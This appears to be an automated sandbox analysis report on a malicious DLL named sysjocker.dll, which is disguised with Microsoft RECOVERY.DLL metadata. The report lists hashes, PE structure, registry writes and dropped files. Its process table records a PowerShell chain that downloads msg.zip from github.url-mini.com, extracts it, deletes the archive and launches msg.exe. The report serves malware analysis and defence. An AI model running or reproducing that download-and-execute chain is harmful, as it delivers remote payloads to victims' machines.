File name: | sysjocker.dll |
Full analysis: | https://app.any.run/tasks/c57ad532-8a36-4ef5-8579-f04c21192e46 |
Verdict: | Malicious activity |
Analysis date: | January 15, 2022, 01:49:24 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Indicators: | |
MIME: | application/x-dosexec |
File info: | PE32 executable (DLL) (GUI) Intel 80386, for MS Windows |
MD5: | D71E1A6EE83221F1AC7ED870BC272F01 |
SHA1: | D1D5158660CDC9E05ED0207CEBA2033AA7736ED1 |
SHA256: | 61DF74731FBE1EAFB2EB987F20E5226962EECEEF010164E41EA6C4494A4010FC |
SSDEEP: | 3072:vlj7PBrZ4tL8c0IB0MXO6WkjkuyfZ7fM27vX8M4M3eNomUWBE4DdeCCR50RgVN4U:vhVrZ4tL8c0IB0WO6WkByfZ7fM27vX8Q |
.exe | | | Win64 Executable (generic) (64.6) |
---|---|---|
.dll | | | Win32 Dynamic Link Library (generic) (15.4) |
.exe | | | Win32 Executable (generic) (10.5) |
.exe | | | Generic Win/DOS Executable (4.6) |
.exe | | | DOS Executable Generic (4.6) |
ProductVersion: | 10.0.19041.423 |
---|---|
ProductName: | Microsoft® Windows® Operating System |
OriginalFileName: | RECOVERY.DLL |
LegalCopyright: | © Microsoft Corporation. All rights reserved. |
InternalName: | RECOVERY |
FileVersion: | 10.0.19041.423 (WinBuild.160101.0800) |
FileDescription: | Recovery Control Panel |
CompanyName: | Microsoft Corporation |
CharacterSet: | Unicode |
LanguageCode: | English (U.S.) |
FileSubtype: | - |
ObjectFileType: | Dynamic link library |
FileOS: | Windows NT 32-bit |
FileFlags: | (none) |
FileFlagsMask: | 0x0000 |
ProductVersionNumber: | 10.0.19041.423 |
FileVersionNumber: | 10.0.19041.423 |
Subsystem: | Windows GUI |
SubsystemVersion: | 6 |
ImageVersion: | - |
OSVersion: | 6 |
EntryPoint: | 0x6960 |
UninitializedDataSize: | - |
InitializedDataSize: | 74752 |
CodeSize: | 119296 |
LinkerVersion: | 14.28 |
PEType: | PE32 |
TimeStamp: | 2021:10:07 21:49:31+02:00 |
MachineType: | Intel 386 or later, and compatibles |
Architecture: | IMAGE_FILE_MACHINE_I386 |
---|---|
Subsystem: | IMAGE_SUBSYSTEM_WINDOWS_GUI |
Compilation Date: | 07-Oct-2021 19:49:31 |
Detected languages: |
|
CompanyName: | Microsoft Corporation |
FileDescription: | Recovery Control Panel |
FileVersion: | 10.0.19041.423 (WinBuild.160101.0800) |
InternalName: | RECOVERY |
LegalCopyright: | © Microsoft Corporation. All rights reserved. |
OriginalFilename: | RECOVERY.DLL |
ProductName: | Microsoft® Windows® Operating System |
ProductVersion: | 10.0.19041.423 |
Magic number: | MZ |
---|---|
Bytes on last page of file: | 0x0090 |
Pages in file: | 0x0003 |
Relocations: | 0x0000 |
Size of header: | 0x0004 |
Min extra paragraphs: | 0x0000 |
Max extra paragraphs: | 0xFFFF |
Initial SS value: | 0x0000 |
Initial SP value: | 0x00B8 |
Checksum: | 0x0000 |
Initial IP value: | 0x0000 |
Initial CS value: | 0x0000 |
Overlay number: | 0x0000 |
OEM identifier: | 0x0000 |
OEM information: | 0x0000 |
Address of NE header: | 0x00000100 |
Signature: | PE |
---|---|
Machine: | IMAGE_FILE_MACHINE_I386 |
Number of sections: | 5 |
Time date stamp: | 07-Oct-2021 19:49:31 |
Pointer to Symbol Table: | 0x00000000 |
Number of symbols: | 0 |
Size of Optional Header: | 0x00E0 |
Characteristics: |
|
Name | Virtual Address | Virtual Size | Raw Size | Charateristics | Entropy |
---|---|---|---|---|---|
.text | 0x00001000 | 0x0001D0B0 | 0x0001D200 | IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ | 6.65012 |
.rdata | 0x0001F000 | 0x0000E038 | 0x0000E200 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 5.48209 |
.data | 0x0002E000 | 0x00001CC0 | 0x00001000 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 3.19846 |
.rsrc | 0x00030000 | 0x000003F8 | 0x00000400 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 3.3555 |
.reloc | 0x00031000 | 0x00001FF4 | 0x00002000 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ | 6.55292 |
Title | Entropy | Size | Codepage | Language | Type |
---|---|---|---|---|---|
1 | 3.51873 | 916 | UNKNOWN | English - United States | RT_VERSION |
KERNEL32.dll |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
3268 | "C:\Windows\System32\rundll32.exe" C:\Users\admin\Downloads\sysjocker.dll.exe, #1 | C:\Windows\System32\rundll32.exe | — | Explorer.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows host process (Rundll32) Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
1096 | powershell.exe Invoke-WebRequest -Uri 'https://github.url-mini.com/msg.zip' -OutFile 'C:\ProgramData\RecoverySystem\recoveryWindows.zip';Write-Output "Time taken : $((Get - Date).Subtract($start_time).Seconds) second(s)" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | rundll32.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 1 Version: 10.0.14409.1005 (rs1_srvoob.161208-1155) | ||||
3844 | powershell.exe Expand-Archive -LiteralPath 'C:\ProgramData\RecoverySystem\recoveryWindows.zip' -DestinationPath 'C:\ProgramData\RecoverySystem' | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | rundll32.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 1 Version: 10.0.14409.1005 (rs1_srvoob.161208-1155) | ||||
3688 | powershell.exe Remove-Item -Path 'C:\ProgramData\RecoverySystem\recoveryWindows.zip' -Force | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | rundll32.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 1 Version: 10.0.14409.1005 (rs1_srvoob.161208-1155) | ||||
2292 | powershell.exe start C:\ProgramData\RecoverySystem\msg.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | rundll32.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 1 Version: 10.0.14409.1005 (rs1_srvoob.161208-1155) |
(PID) Process: | (1096) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
(PID) Process: | (1096) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
(PID) Process: | (1096) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
Operation: | write | Name: | FileTracingMask |
Value: | |||
(PID) Process: | (1096) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
Operation: | write | Name: | ConsoleTracingMask |
Value: | |||
(PID) Process: | (1096) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
Operation: | write | Name: | MaxFileSize |
Value: 1048576 | |||
(PID) Process: | (1096) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
Operation: | write | Name: | FileDirectory |
Value: %windir%\tracing | |||
(PID) Process: | (1096) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS |
Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
(PID) Process: | (1096) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS |
Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
(PID) Process: | (1096) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS |
Operation: | write | Name: | FileTracingMask |
Value: | |||
(PID) Process: | (1096) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS |
Operation: | write | Name: | ConsoleTracingMask |
Value: |
PID | Process | Filename | Type | |
---|---|---|---|---|
2292 | powershell.exe | C:\Users\admin\AppData\Local\Temp\4voayrlq.hiv.ps1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B | |||
3844 | powershell.exe | C:\Users\admin\AppData\Local\Temp\2cubkd3v.4xb.ps1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B | |||
3844 | powershell.exe | C:\Users\admin\AppData\Local\Temp\hy5fklzs.qqn.psm1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B | |||
1096 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | dbf | |
MD5:446DD1CF97EABA21CF14D03AEBC79F27 | SHA256:A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF | |||
1096 | powershell.exe | C:\Users\admin\AppData\Local\Temp\aqq2kxxb.zkt.psm1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B | |||
3688 | powershell.exe | C:\Users\admin\AppData\Local\Temp\5katvwbg.clq.ps1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B | |||
3688 | powershell.exe | C:\Users\admin\AppData\Local\Temp\t2fqukde.fjb.psm1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B | |||
1096 | powershell.exe | C:\Users\admin\AppData\Local\Temp\sefatkff.3u1.ps1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B | |||
2292 | powershell.exe | C:\Users\admin\AppData\Local\Temp\bojxn3yd.zd0.psm1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B |
Domain | IP | Reputation |
---|---|---|
github.url-mini.com |
| unknown |